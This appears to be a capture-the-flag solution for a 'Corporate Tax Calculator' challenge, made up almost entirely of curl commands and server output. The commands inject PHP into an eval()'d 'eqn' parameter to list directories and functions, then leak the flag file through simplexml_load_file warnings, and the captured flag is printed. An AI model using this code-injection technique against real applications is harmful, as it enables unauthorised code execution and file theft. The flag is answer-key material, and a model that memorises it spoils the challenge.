Corporate Tax Calculator
Description
Solution





Last updated





Last updated
└─$ curl 'https://c364ef9d450b579d4493f1e85bfe2e34.chal.ctf.ae/' -d 'eqn=print_r(scandir("../../../"))'
Array
(
[0] => .
[1] => ..
[2] => Sup333r_S3cret_Flaaa@ag.txt
[3] => bin
[4] => boot
[5] => dev
[6] => etc
[7] => home
[8] => init.sh
[9] => lib
[10] => lib64
[11] => media
[12] => mnt
[13] => opt
[14] => proc
[15] => root
[16] => run
[17] => sbin
[18] => srv
[19] => sys
[20] => tmp
[21] => usr
[22] => var
)
1└─$ curl 'https://c364ef9d450b579d4493f1e85bfe2e34.chal.ctf.ae/' -d 'eqn=print_r(get_defined_functions())' -s | grep -i file
[28] => get_included_files
[29] => get_required_files
[111] => openssl_x509_export_to_file
[120] => openssl_pkcs12_export_to_file
[123] => openssl_csr_export_to_file
[130] => openssl_pkey_export_to_file
[229] => curl_file_create
[255] => finfo_file
[302] => hash_file
[304] => hash_hmac_file
[308] => hash_update_file
[470] => simplexml_load_file
[613] => is_uploaded_file
[614] => move_uploaded_file
[615] => parse_ini_file
[636] => md5_file
[643] => sha1_file
[765] => tmpfile
[771] => fileatime
[772] => filectime
[773] => filegroup
[774] => fileinode
[775] => filemtime
[776] => fileowner
[777] => fileperms
[778] => filesize
[779] => filetype
[780] => file_exists
[785] => is_file
[820] => php_ini_scanned_files
[821] => php_ini_loaded_file
[916] => set_file_buffer└─$ curl 'https://c364ef9d450b579d4493f1e85bfe2e34.chal.ctf.ae/' -d 'eqn=print_r(simplexml_load_file("/Sup333r_S3cret_Flaaa@ag.txt"))'
<br />
<b>Warning</b>: simplexml_load_file(): /Sup333r_S3cret_Flaaa@ag.txt:1: parser error : Start tag expected, '<' not found in <b>/var/www/html/index.php(5) : eval()'d code</b> on line <b>1</b><br />
<br />
<b>Warning</b>: simplexml_load_file(): flag{fgP37WI1T4N50VgsDMu18jwvpWKqJohR} in <b>/var/www/html/index.php(5) : eval()'d code</b> on line <b>1</b><br />
<br />
<b>Warning</b>: simplexml_load_file(): ^ in <b>/var/www/html/index.php(5) : eval()'d code</b> on line <b>1</b><br />
1